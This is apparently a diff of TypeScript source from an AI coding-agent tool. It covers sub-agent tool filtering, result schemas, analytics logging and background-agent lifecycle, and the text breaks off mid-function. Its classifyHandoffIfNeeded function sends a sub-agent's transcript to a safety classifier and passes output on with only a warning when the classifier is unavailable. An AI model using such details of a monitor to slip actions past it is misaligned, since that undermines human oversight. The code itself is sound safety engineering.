|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { feature } from 'bun:bundle'
|
| 2 |
+
import { z } from 'zod/v4'
|
| 3 |
+
import { clearInvokedSkillsForAgent } from '../../bootstrap/state.js'
|
| 4 |
+
import {
|
| 5 |
+
ALL_AGENT_DISALLOWED_TOOLS,
|
| 6 |
+
ASYNC_AGENT_ALLOWED_TOOLS,
|
| 7 |
+
CUSTOM_AGENT_DISALLOWED_TOOLS,
|
| 8 |
+
IN_PROCESS_TEAMMATE_ALLOWED_TOOLS,
|
| 9 |
+
} from '../../constants/tools.js'
|
| 10 |
+
import { startAgentSummarization } from '../../services/AgentSummary/agentSummary.js'
|
| 11 |
+
import {
|
| 12 |
+
type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 13 |
+
logEvent,
|
| 14 |
+
} from '../../services/analytics/index.js'
|
| 15 |
+
import { clearDumpState } from '../../services/api/dumpPrompts.js'
|
| 16 |
+
import type { AppState } from '../../state/AppState.js'
|
| 17 |
+
import type {
|
| 18 |
+
Tool,
|
| 19 |
+
ToolPermissionContext,
|
| 20 |
+
Tools,
|
| 21 |
+
ToolUseContext,
|
| 22 |
+
} from '../../Tool.js'
|
| 23 |
+
import { toolMatchesName } from '../../Tool.js'
|
| 24 |
+
import {
|
| 25 |
+
completeAgentTask as completeAsyncAgent,
|
| 26 |
+
createActivityDescriptionResolver,
|
| 27 |
+
createProgressTracker,
|
| 28 |
+
enqueueAgentNotification,
|
| 29 |
+
failAgentTask as failAsyncAgent,
|
| 30 |
+
getProgressUpdate,
|
| 31 |
+
getTokenCountFromTracker,
|
| 32 |
+
isLocalAgentTask,
|
| 33 |
+
killAsyncAgent,
|
| 34 |
+
type ProgressTracker,
|
| 35 |
+
updateAgentProgress as updateAsyncAgentProgress,
|
| 36 |
+
updateProgressFromMessage,
|
| 37 |
+
} from '../../tasks/LocalAgentTask/LocalAgentTask.js'
|
| 38 |
+
import { asAgentId } from '../../types/ids.js'
|
| 39 |
+
import type { Message as MessageType } from '../../types/message.js'
|
| 40 |
+
import { isAgentSwarmsEnabled } from '../../utils/agentSwarmsEnabled.js'
|
| 41 |
+
import { logForDebugging } from '../../utils/debug.js'
|
| 42 |
+
import { isInProtectedNamespace } from '../../utils/envUtils.js'
|
| 43 |
+
import { AbortError, errorMessage } from '../../utils/errors.js'
|
| 44 |
+
import type { CacheSafeParams } from '../../utils/forkedAgent.js'
|
| 45 |
+
import { lazySchema } from '../../utils/lazySchema.js'
|
| 46 |
+
import {
|
| 47 |
+
extractTextContent,
|
| 48 |
+
getLastAssistantMessage,
|
| 49 |
+
} from '../../utils/messages.js'
|
| 50 |
+
import type { PermissionMode } from '../../utils/permissions/PermissionMode.js'
|
| 51 |
+
import { permissionRuleValueFromString } from '../../utils/permissions/permissionRuleParser.js'
|
| 52 |
+
import {
|
| 53 |
+
buildTranscriptForClassifier,
|
| 54 |
+
classifyYoloAction,
|
| 55 |
+
} from '../../utils/permissions/yoloClassifier.js'
|
| 56 |
+
import { emitTaskProgress as emitTaskProgressEvent } from '../../utils/task/sdkProgress.js'
|
| 57 |
+
import { isInProcessTeammate } from '../../utils/teammateContext.js'
|
| 58 |
+
import { getTokenCountFromUsage } from '../../utils/tokens.js'
|
| 59 |
+
import { EXIT_PLAN_MODE_V2_TOOL_NAME } from '../ExitPlanModeTool/constants.js'
|
| 60 |
+
import { AGENT_TOOL_NAME, LEGACY_AGENT_TOOL_NAME } from './constants.js'
|
| 61 |
+
import type { AgentDefinition } from './loadAgentsDir.js'
|
| 62 |
+
export type ResolvedAgentTools = {
|
| 63 |
+
hasWildcard: boolean
|
| 64 |
+
validTools: string[]
|
| 65 |
+
invalidTools: string[]
|
| 66 |
+
resolvedTools: Tools
|
| 67 |
+
allowedAgentTypes?: string[]
|
| 68 |
+
}
|
| 69 |
+
|
| 70 |
+
export function filterToolsForAgent({
|
| 71 |
+
tools,
|
| 72 |
+
isBuiltIn,
|
| 73 |
+
isAsync = false,
|
| 74 |
+
permissionMode,
|
| 75 |
+
}: {
|
| 76 |
+
tools: Tools
|
| 77 |
+
isBuiltIn: boolean
|
| 78 |
+
isAsync?: boolean
|
| 79 |
+
permissionMode?: PermissionMode
|
| 80 |
+
}): Tools {
|
| 81 |
+
return tools.filter(tool => {
|
| 82 |
+
// Allow MCP tools for all agents
|
| 83 |
+
if (tool.name.startsWith('mcp__')) {
|
| 84 |
+
return true
|
| 85 |
+
}
|
| 86 |
+
// Allow ExitPlanMode for agents in plan mode (e.g., in-process teammates)
|
| 87 |
+
// This bypasses both the ALL_AGENT_DISALLOWED_TOOLS and async tool filters
|
| 88 |
+
if (
|
| 89 |
+
toolMatchesName(tool, EXIT_PLAN_MODE_V2_TOOL_NAME) &&
|
| 90 |
+
permissionMode === 'plan'
|
| 91 |
+
) {
|
| 92 |
+
return true
|
| 93 |
+
}
|
| 94 |
+
if (ALL_AGENT_DISALLOWED_TOOLS.has(tool.name)) {
|
| 95 |
+
return false
|
| 96 |
+
}
|
| 97 |
+
if (!isBuiltIn && CUSTOM_AGENT_DISALLOWED_TOOLS.has(tool.name)) {
|
| 98 |
+
return false
|
| 99 |
+
}
|
| 100 |
+
if (isAsync && !ASYNC_AGENT_ALLOWED_TOOLS.has(tool.name)) {
|
| 101 |
+
if (isAgentSwarmsEnabled() && isInProcessTeammate()) {
|
| 102 |
+
// Allow AgentTool for in-process teammates to spawn sync subagents.
|
| 103 |
+
// Validation in AgentTool.call() prevents background agents and teammate spawning.
|
| 104 |
+
if (toolMatchesName(tool, AGENT_TOOL_NAME)) {
|
| 105 |
+
return true
|
| 106 |
+
}
|
| 107 |
+
// Allow task tools for in-process teammates to coordinate via shared task list
|
| 108 |
+
if (IN_PROCESS_TEAMMATE_ALLOWED_TOOLS.has(tool.name)) {
|
| 109 |
+
return true
|
| 110 |
+
}
|
| 111 |
+
}
|
| 112 |
+
return false
|
| 113 |
+
}
|
| 114 |
+
return true
|
| 115 |
+
})
|
| 116 |
+
}
|
| 117 |
+
|
| 118 |
+
/**
|
| 119 |
+
* Resolves and validates agent tools against available tools
|
| 120 |
+
* Handles wildcard expansion and validation in one place
|
| 121 |
+
*/
|
| 122 |
+
export function resolveAgentTools(
|
| 123 |
+
agentDefinition: Pick<
|
| 124 |
+
AgentDefinition,
|
| 125 |
+
'tools' | 'disallowedTools' | 'source' | 'permissionMode'
|
| 126 |
+
>,
|
| 127 |
+
availableTools: Tools,
|
| 128 |
+
isAsync = false,
|
| 129 |
+
isMainThread = false,
|
| 130 |
+
): ResolvedAgentTools {
|
| 131 |
+
const {
|
| 132 |
+
tools: agentTools,
|
| 133 |
+
disallowedTools,
|
| 134 |
+
source,
|
| 135 |
+
permissionMode,
|
| 136 |
+
} = agentDefinition
|
| 137 |
+
// When isMainThread is true, skip filterToolsForAgent entirely — the main
|
| 138 |
+
// thread's tool pool is already properly assembled by useMergedTools(), so
|
| 139 |
+
// the sub-agent disallow lists shouldn't apply.
|
| 140 |
+
const filteredAvailableTools = isMainThread
|
| 141 |
+
? availableTools
|
| 142 |
+
: filterToolsForAgent({
|
| 143 |
+
tools: availableTools,
|
| 144 |
+
isBuiltIn: source === 'built-in',
|
| 145 |
+
isAsync,
|
| 146 |
+
permissionMode,
|
| 147 |
+
})
|
| 148 |
+
|
| 149 |
+
// Create a set of disallowed tool names for quick lookup
|
| 150 |
+
const disallowedToolSet = new Set(
|
| 151 |
+
disallowedTools?.map(toolSpec => {
|
| 152 |
+
const { toolName } = permissionRuleValueFromString(toolSpec)
|
| 153 |
+
return toolName
|
| 154 |
+
}) ?? [],
|
| 155 |
+
)
|
| 156 |
+
|
| 157 |
+
// Filter available tools based on disallowed list
|
| 158 |
+
const allowedAvailableTools = filteredAvailableTools.filter(
|
| 159 |
+
tool => !disallowedToolSet.has(tool.name),
|
| 160 |
+
)
|
| 161 |
+
|
| 162 |
+
// If tools is undefined or ['*'], allow all tools (after filtering disallowed)
|
| 163 |
+
const hasWildcard =
|
| 164 |
+
agentTools === undefined ||
|
| 165 |
+
(agentTools.length === 1 && agentTools[0] === '*')
|
| 166 |
+
if (hasWildcard) {
|
| 167 |
+
return {
|
| 168 |
+
hasWildcard: true,
|
| 169 |
+
validTools: [],
|
| 170 |
+
invalidTools: [],
|
| 171 |
+
resolvedTools: allowedAvailableTools,
|
| 172 |
+
}
|
| 173 |
+
}
|
| 174 |
+
|
| 175 |
+
const availableToolMap = new Map<string, Tool>()
|
| 176 |
+
for (const tool of allowedAvailableTools) {
|
| 177 |
+
availableToolMap.set(tool.name, tool)
|
| 178 |
+
}
|
| 179 |
+
|
| 180 |
+
const validTools: string[] = []
|
| 181 |
+
const invalidTools: string[] = []
|
| 182 |
+
const resolved: Tool[] = []
|
| 183 |
+
const resolvedToolsSet = new Set<Tool>()
|
| 184 |
+
let allowedAgentTypes: string[] | undefined
|
| 185 |
+
|
| 186 |
+
for (const toolSpec of agentTools) {
|
| 187 |
+
// Parse the tool spec to extract the base tool name and any permission pattern
|
| 188 |
+
const { toolName, ruleContent } = permissionRuleValueFromString(toolSpec)
|
| 189 |
+
|
| 190 |
+
// Special case: Agent tool carries allowedAgentTypes metadata in its spec
|
| 191 |
+
if (toolName === AGENT_TOOL_NAME) {
|
| 192 |
+
if (ruleContent) {
|
| 193 |
+
// Parse comma-separated agent types: "worker, researcher" → ["worker", "researcher"]
|
| 194 |
+
allowedAgentTypes = ruleContent.split(',').map(s => s.trim())
|
| 195 |
+
}
|
| 196 |
+
// For sub-agents, Agent is excluded by filterToolsForAgent — mark the spec
|
| 197 |
+
// valid for allowedAgentTypes tracking but skip tool resolution.
|
| 198 |
+
if (!isMainThread) {
|
| 199 |
+
validTools.push(toolSpec)
|
| 200 |
+
continue
|
| 201 |
+
}
|
| 202 |
+
// For main thread, filtering was skipped so Agent is in availableToolMap —
|
| 203 |
+
// fall through to normal resolution below.
|
| 204 |
+
}
|
| 205 |
+
|
| 206 |
+
const tool = availableToolMap.get(toolName)
|
| 207 |
+
if (tool) {
|
| 208 |
+
validTools.push(toolSpec)
|
| 209 |
+
if (!resolvedToolsSet.has(tool)) {
|
| 210 |
+
resolved.push(tool)
|
| 211 |
+
resolvedToolsSet.add(tool)
|
| 212 |
+
}
|
| 213 |
+
} else {
|
| 214 |
+
invalidTools.push(toolSpec)
|
| 215 |
+
}
|
| 216 |
+
}
|
| 217 |
+
|
| 218 |
+
return {
|
| 219 |
+
hasWildcard: false,
|
| 220 |
+
validTools,
|
| 221 |
+
invalidTools,
|
| 222 |
+
resolvedTools: resolved,
|
| 223 |
+
allowedAgentTypes,
|
| 224 |
+
}
|
| 225 |
+
}
|
| 226 |
+
|
| 227 |
+
export const agentToolResultSchema = lazySchema(() =>
|
| 228 |
+
z.object({
|
| 229 |
+
agentId: z.string(),
|
| 230 |
+
// Optional: older persisted sessions won't have this (resume replays
|
| 231 |
+
// results verbatim without re-validation). Used to gate the sync
|
| 232 |
+
// result trailer — one-shot built-ins skip the SendMessage hint.
|
| 233 |
+
agentType: z.string().optional(),
|
| 234 |
+
content: z.array(z.object({ type: z.literal('text'), text: z.string() })),
|
| 235 |
+
totalToolUseCount: z.number(),
|
| 236 |
+
totalDurationMs: z.number(),
|
| 237 |
+
totalTokens: z.number(),
|
| 238 |
+
usage: z.object({
|
| 239 |
+
input_tokens: z.number(),
|
| 240 |
+
output_tokens: z.number(),
|
| 241 |
+
cache_creation_input_tokens: z.number().nullable(),
|
| 242 |
+
cache_read_input_tokens: z.number().nullable(),
|
| 243 |
+
server_tool_use: z
|
| 244 |
+
.object({
|
| 245 |
+
web_search_requests: z.number(),
|
| 246 |
+
web_fetch_requests: z.number(),
|
| 247 |
+
})
|
| 248 |
+
.nullable(),
|
| 249 |
+
service_tier: z.enum(['standard', 'priority', 'batch']).nullable(),
|
| 250 |
+
cache_creation: z
|
| 251 |
+
.object({
|
| 252 |
+
ephemeral_1h_input_tokens: z.number(),
|
| 253 |
+
ephemeral_5m_input_tokens: z.number(),
|
| 254 |
+
})
|
| 255 |
+
.nullable(),
|
| 256 |
+
}),
|
| 257 |
+
}),
|
| 258 |
+
)
|
| 259 |
+
|
| 260 |
+
export type AgentToolResult = z.input<ReturnType<typeof agentToolResultSchema>>
|
| 261 |
+
|
| 262 |
+
export function countToolUses(messages: MessageType[]): number {
|
| 263 |
+
let count = 0
|
| 264 |
+
for (const m of messages) {
|
| 265 |
+
if (m.type === 'assistant') {
|
| 266 |
+
for (const block of m.message.content) {
|
| 267 |
+
if (block.type === 'tool_use') {
|
| 268 |
+
count++
|
| 269 |
+
}
|
| 270 |
+
}
|
| 271 |
+
}
|
| 272 |
+
}
|
| 273 |
+
return count
|
| 274 |
+
}
|
| 275 |
+
|
| 276 |
+
export function finalizeAgentTool(
|
| 277 |
+
agentMessages: MessageType[],
|
| 278 |
+
agentId: string,
|
| 279 |
+
metadata: {
|
| 280 |
+
prompt: string
|
| 281 |
+
resolvedAgentModel: string
|
| 282 |
+
isBuiltInAgent: boolean
|
| 283 |
+
startTime: number
|
| 284 |
+
agentType: string
|
| 285 |
+
isAsync: boolean
|
| 286 |
+
},
|
| 287 |
+
): AgentToolResult {
|
| 288 |
+
const {
|
| 289 |
+
prompt,
|
| 290 |
+
resolvedAgentModel,
|
| 291 |
+
isBuiltInAgent,
|
| 292 |
+
startTime,
|
| 293 |
+
agentType,
|
| 294 |
+
isAsync,
|
| 295 |
+
} = metadata
|
| 296 |
+
|
| 297 |
+
const lastAssistantMessage = getLastAssistantMessage(agentMessages)
|
| 298 |
+
if (lastAssistantMessage === undefined) {
|
| 299 |
+
throw new Error('No assistant messages found')
|
| 300 |
+
}
|
| 301 |
+
// Extract text content from the agent's response. If the final assistant
|
| 302 |
+
// message is a pure tool_use block (loop exited mid-turn), fall back to
|
| 303 |
+
// the most recent assistant message that has text content.
|
| 304 |
+
let content = lastAssistantMessage.message.content.filter(
|
| 305 |
+
_ => _.type === 'text',
|
| 306 |
+
)
|
| 307 |
+
if (content.length === 0) {
|
| 308 |
+
for (let i = agentMessages.length - 1; i >= 0; i--) {
|
| 309 |
+
const m = agentMessages[i]!
|
| 310 |
+
if (m.type !== 'assistant') continue
|
| 311 |
+
const textBlocks = m.message.content.filter(_ => _.type === 'text')
|
| 312 |
+
if (textBlocks.length > 0) {
|
| 313 |
+
content = textBlocks
|
| 314 |
+
break
|
| 315 |
+
}
|
| 316 |
+
}
|
| 317 |
+
}
|
| 318 |
+
|
| 319 |
+
const totalTokens = getTokenCountFromUsage(lastAssistantMessage.message.usage)
|
| 320 |
+
const totalToolUseCount = countToolUses(agentMessages)
|
| 321 |
+
|
| 322 |
+
logEvent('tengu_agent_tool_completed', {
|
| 323 |
+
agent_type:
|
| 324 |
+
agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 325 |
+
model:
|
| 326 |
+
resolvedAgentModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 327 |
+
prompt_char_count: prompt.length,
|
| 328 |
+
response_char_count: content.length,
|
| 329 |
+
assistant_message_count: agentMessages.length,
|
| 330 |
+
total_tool_uses: totalToolUseCount,
|
| 331 |
+
duration_ms: Date.now() - startTime,
|
| 332 |
+
total_tokens: totalTokens,
|
| 333 |
+
is_built_in_agent: isBuiltInAgent,
|
| 334 |
+
is_async: isAsync,
|
| 335 |
+
})
|
| 336 |
+
|
| 337 |
+
// Signal to inference that this subagent's cache chain can be evicted.
|
| 338 |
+
const lastRequestId = lastAssistantMessage.requestId
|
| 339 |
+
if (lastRequestId) {
|
| 340 |
+
logEvent('tengu_cache_eviction_hint', {
|
| 341 |
+
scope:
|
| 342 |
+
'subagent_end' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 343 |
+
last_request_id:
|
| 344 |
+
lastRequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 345 |
+
})
|
| 346 |
+
}
|
| 347 |
+
|
| 348 |
+
return {
|
| 349 |
+
agentId,
|
| 350 |
+
agentType,
|
| 351 |
+
content,
|
| 352 |
+
totalDurationMs: Date.now() - startTime,
|
| 353 |
+
totalTokens,
|
| 354 |
+
totalToolUseCount,
|
| 355 |
+
usage: lastAssistantMessage.message.usage,
|
| 356 |
+
}
|
| 357 |
+
}
|
| 358 |
+
|
| 359 |
+
/**
|
| 360 |
+
* Returns the name of the last tool_use block in an assistant message,
|
| 361 |
+
* or undefined if the message is not an assistant message with tool_use.
|
| 362 |
+
*/
|
| 363 |
+
export function getLastToolUseName(message: MessageType): string | undefined {
|
| 364 |
+
if (message.type !== 'assistant') return undefined
|
| 365 |
+
const block = message.message.content.findLast(b => b.type === 'tool_use')
|
| 366 |
+
return block?.type === 'tool_use' ? block.name : undefined
|
| 367 |
+
}
|
| 368 |
+
|
| 369 |
+
export function emitTaskProgress(
|
| 370 |
+
tracker: ProgressTracker,
|
| 371 |
+
taskId: string,
|
| 372 |
+
toolUseId: string | undefined,
|
| 373 |
+
description: string,
|
| 374 |
+
startTime: number,
|
| 375 |
+
lastToolName: string,
|
| 376 |
+
): void {
|
| 377 |
+
const progress = getProgressUpdate(tracker)
|
| 378 |
+
emitTaskProgressEvent({
|
| 379 |
+
taskId,
|
| 380 |
+
toolUseId,
|
| 381 |
+
description: progress.lastActivity?.activityDescription ?? description,
|
| 382 |
+
startTime,
|
| 383 |
+
totalTokens: progress.tokenCount,
|
| 384 |
+
toolUses: progress.toolUseCount,
|
| 385 |
+
lastToolName,
|
| 386 |
+
})
|
| 387 |
+
}
|
| 388 |
+
|
| 389 |
+
export async function classifyHandoffIfNeeded({
|
| 390 |
+
agentMessages,
|
| 391 |
+
tools,
|
| 392 |
+
toolPermissionContext,
|
| 393 |
+
abortSignal,
|
| 394 |
+
subagentType,
|
| 395 |
+
totalToolUseCount,
|
| 396 |
+
}: {
|
| 397 |
+
agentMessages: MessageType[]
|
| 398 |
+
tools: Tools
|
| 399 |
+
toolPermissionContext: AppState['toolPermissionContext']
|
| 400 |
+
abortSignal: AbortSignal
|
| 401 |
+
subagentType: string
|
| 402 |
+
totalToolUseCount: number
|
| 403 |
+
}): Promise<string | null> {
|
| 404 |
+
if (feature('TRANSCRIPT_CLASSIFIER')) {
|
| 405 |
+
if (toolPermissionContext.mode !== 'auto') return null
|
| 406 |
+
|
| 407 |
+
const agentTranscript = buildTranscriptForClassifier(agentMessages, tools)
|
| 408 |
+
if (!agentTranscript) return null
|
| 409 |
+
|
| 410 |
+
const classifierResult = await classifyYoloAction(
|
| 411 |
+
agentMessages,
|
| 412 |
+
{
|
| 413 |
+
role: 'user',
|
| 414 |
+
content: [
|
| 415 |
+
{
|
| 416 |
+
type: 'text',
|
| 417 |
+
text: "Sub-agent has finished and is handing back control to the main agent. Review the sub-agent's work based on the block rules and let the main agent know if any file is dangerous (the main agent will see the reason).",
|
| 418 |
+
},
|
| 419 |
+
],
|
| 420 |
+
},
|
| 421 |
+
tools,
|
| 422 |
+
toolPermissionContext as ToolPermissionContext,
|
| 423 |
+
abortSignal,
|
| 424 |
+
)
|
| 425 |
+
|
| 426 |
+
const handoffDecision = classifierResult.unavailable
|
| 427 |
+
? 'unavailable'
|
| 428 |
+
: classifierResult.shouldBlock
|
| 429 |
+
? 'blocked'
|
| 430 |
+
: 'allowed'
|
| 431 |
+
logEvent('tengu_auto_mode_decision', {
|
| 432 |
+
decision:
|
| 433 |
+
handoffDecision as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 434 |
+
toolName:
|
| 435 |
+
// Use legacy name for analytics continuity across the Task→Agent rename
|
| 436 |
+
LEGACY_AGENT_TOOL_NAME as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 437 |
+
inProtectedNamespace: isInProtectedNamespace(),
|
| 438 |
+
classifierModel:
|
| 439 |
+
classifierResult.model as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 440 |
+
agentType:
|
| 441 |
+
subagentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 442 |
+
toolUseCount: totalToolUseCount,
|
| 443 |
+
isHandoff: true,
|
| 444 |
+
// For handoff, the relevant agent completion is the subagent's final
|
| 445 |
+
// assistant message — the last thing the classifier transcript shows
|
| 446 |
+
// before the handoff review prompt.
|
| 447 |
+
agentMsgId: getLastAssistantMessage(agentMessages)?.message
|
| 448 |
+
.id as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 449 |
+
classifierStage:
|
| 450 |
+
classifierResult.stage as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 451 |
+
classifierStage1RequestId:
|
| 452 |
+
classifierResult.stage1RequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 453 |
+
classifierStage1MsgId:
|
| 454 |
+
classifierResult.stage1MsgId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 455 |
+
classifierStage2RequestId:
|
| 456 |
+
classifierResult.stage2RequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 457 |
+
classifierStage2MsgId:
|
| 458 |
+
classifierResult.stage2MsgId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
|
| 459 |
+
})
|
| 460 |
+
|
| 461 |
+
if (classifierResult.shouldBlock) {
|
| 462 |
+
// When classifier is unavailable, still propagate the sub-agent's
|
| 463 |
+
// results but with a warning so the parent agent can verify the work.
|
| 464 |
+
if (classifierResult.unavailable) {
|
| 465 |
+
logForDebugging(
|
| 466 |
+
'Handoff classifier unavailable, allowing sub-agent output with warning',
|
| 467 |
+
{ level: 'warn' },
|
| 468 |
+
)
|
| 469 |
+
return `Note: The safety classifier was unavailable when reviewing this sub-agent's work. Please carefully verify the sub-agent's actions and output before acting on them.`
|
| 470 |
+
}
|
| 471 |
+
|
| 472 |
+
logForDebugging(
|
| 473 |
+
`Handoff classifier flagged sub-agent output: ${classifierResult.reason}`,
|
| 474 |
+
{ level: 'warn' },
|
| 475 |
+
)
|
| 476 |
+
return `SECURITY WARNING: This sub-agent performed actions that may violate security policy. Reason: ${classifierResult.reason}. Review the sub-agent's actions carefully before acting on its output.`
|
| 477 |
+
}
|
| 478 |
+
}
|
| 479 |
+
|
| 480 |
+
return null
|
| 481 |
+
}
|
| 482 |
+
|
| 483 |
+
/**
|
| 484 |
+
* Extract a partial result string from an agent's accumulated messages.
|
| 485 |
+
* Used when an async agent is killed to preserve what it accomplished.
|
| 486 |
+
* Returns undefined if no text content is found.
|
| 487 |
+
*/
|
| 488 |
+
export function extractPartialResult(
|
| 489 |
+
messages: MessageType[],
|
| 490 |
+
): string | undefined {
|
| 491 |
+
for (let i = messages.length - 1; i >= 0; i--) {
|
| 492 |
+
const m = messages[i]!
|
| 493 |
+
if (m.type !== 'assistant') continue
|
| 494 |
+
const text = extractTextContent(m.message.content, '\n')
|
| 495 |
+
if (text) {
|
| 496 |
+
return text
|
| 497 |
+
}
|
| 498 |
+
}
|
| 499 |
+
return undefined
|
| 500 |
+
}
|
| 501 |
+
|
| 502 |
+
type SetAppState = (f: (prev: AppState) => AppState) => void
|
| 503 |
+
|
| 504 |
+
/**
|
| 505 |
+
* Drives a background agent from spawn to terminal notification.
|
| 506 |
+
* Shared between AgentTool's async-from-start path and resumeAgentBackground.
|
| 507 |
+
*/
|
| 508 |
+
export async function runAsyncAgentLifecycle({
|
| 509 |
+
taskId,
|
| 510 |
+
abortController,
|
| 511 |
+
makeStream,
|
| 512 |
+
metadata,
|
| 513 |
+
description,
|
| 514 |
+
toolUseContext,
|
| 515 |
+
rootSetAppState,
|
| 516 |
+
agentIdForCleanup,
|
| 517 |
+
enableSummarization,
|
| 518 |
+
getWorktreeResult,
|
| 519 |
+
}: {
|
| 520 |
+
taskId: string
|
| 521 |
+
abortController: AbortController
|
| 522 |
+
makeStream: (
|
| 523 |
+
onCacheSafeParams: ((p: CacheSafeParams) => void) | undefined,
|
| 524 |
+
) => AsyncGenerator<MessageType, void>
|
| 525 |
+
metadata: Parameters<typeof finalizeAgentTool>[2]
|
| 526 |
+
description: string
|
| 527 |
+
toolUseContext: ToolUseContext
|
| 528 |
+
rootSetAppState: SetAppState
|
| 529 |
+
agentIdForCleanup: string
|
| 530 |
+
enableSummarization: boolean
|
| 531 |
+
getWorktreeResult: () => Promise<{
|
| 532 |
+
worktreePath?: string
|
| 533 |
+
worktreeBranch?: string
|
| 534 |
+
}>
|
| 535 |
+
}): Promise<void> {
|
| 536 |
+
let stopSummarization: (() => void) | undefined
|
| 537 |
+
const agentMessages: MessageType[] = []
|
| 538 |
+
try {
|
| 539 |
+
const tracker = createProgressTracker()
|
| 540 |
+
const resolveActivity = createActivityDescriptionResolver(
|
| 541 |
+
toolUseContext.options.tools,
|
| 542 |
+
)
|
| 543 |
+
const onCacheSafeParams = enableSummarization
|
| 544 |
+
? (params: CacheSafeParams) => {
|
| 545 |
+
const { stop } = startAgentSummarization(
|
| 546 |
+
taskId,
|
| 547 |
+
asAgentId(taskId),
|
| 548 |
+
params,
|
| 549 |
+
rootSetAppState,
|
| 550 |
+
)
|
| 551 |
+
stopSummarization = stop
|
| 552 |
+
}
|
| 553 |
+
: undefined
|
| 554 |
+
for await (const message of makeStream(onCacheSafeParams)) {
|
| 555 |
+
agentMessages.push(message)
|
| 556 |
+
// Append immediately when UI holds the task (retain). Bootstrap reads
|
| 557 |
+
// disk in parallel and UUID-merges the prefix — disk-write-before-yield
|
| 558 |
+
// means live is always a suffix of disk, so merge is order-correct.
|
| 559 |
+
rootSetAppState(prev => {
|
| 560 |
+
const t = prev.tasks[taskId]
|
| 561 |
+
if (!isLocalAgentTask(t) || !t.retain) return prev
|
| 562 |
+
const base = t.messages ?? []
|
| 563 |
+
return {
|
| 564 |
+
...prev,
|
| 565 |
+
tasks: {
|
| 566 |
+
...prev.tasks,
|
| 567 |
+
[taskId]: { ...t, messages: [...base, message] },
|
| 568 |
+
},
|
| 569 |
+
}
|
| 570 |
+
})
|
| 571 |
+
updateProgressFromMessage(
|
| 572 |
+
tracker,
|
| 573 |
+
message,
|
| 574 |
+
resolveActivity,
|
| 575 |
+
toolUseContext.options.tools,
|
| 576 |
+
)
|
| 577 |
+
updateAsyncAgentProgress(
|
| 578 |
+
taskId,
|
| 579 |
+
getProgressUpdate(tracker),
|
| 580 |
+
rootSetAppState,
|
| 581 |
+
)
|
| 582 |
+
const lastToolName = getLastToolUseName(message)
|
| 583 |
+
if (lastToolName) {
|
| 584 |
+
emitTaskProgress(
|
| 585 |
+
tracker,
|
| 586 |
+
taskId,
|
| 587 |
+
toolUseContext.toolUseId,
|
| 588 |
+
description,
|
| 589 |
+
metadata.startTime,
|
| 590 |
+
lastToolName,
|
| 591 |
+
)
|
| 592 |
+
}
|
| 593 |
+
}
|
| 594 |
+
|
| 595 |
+
stopSummarization?.()
|
| 596 |
+
|
| 597 |
+
const agentResult = finalizeAgentTool(agentMessages, taskId, metadata)
|
| 598 |
+
|
| 599 |
+
// Mark task completed FIRST so TaskOutput(block=true) unblocks
|
| 600 |
+
// immediately. classifyHandoffIfNeeded (API call) and getWorktreeResult
|
| 601 |
+
// (git exec) are notification embellishments that can hang — they must
|
| 602 |
+
// not gate the status transition (gh-20236).
|
| 603 |
+
completeAsyncAgent(agentResult, rootSetAppState)
|
| 604 |
+
|
| 605 |
+
let finalMessage = extractTextContent(agentResult.content, '\n')
|
| 606 |
+
|
| 607 |
+
if (feature('TRANSCRIPT_CLASSIFIER')) {
|
| 608 |
+
const handoffWarning = await classifyHandoffIfNeeded({
|
| 609 |
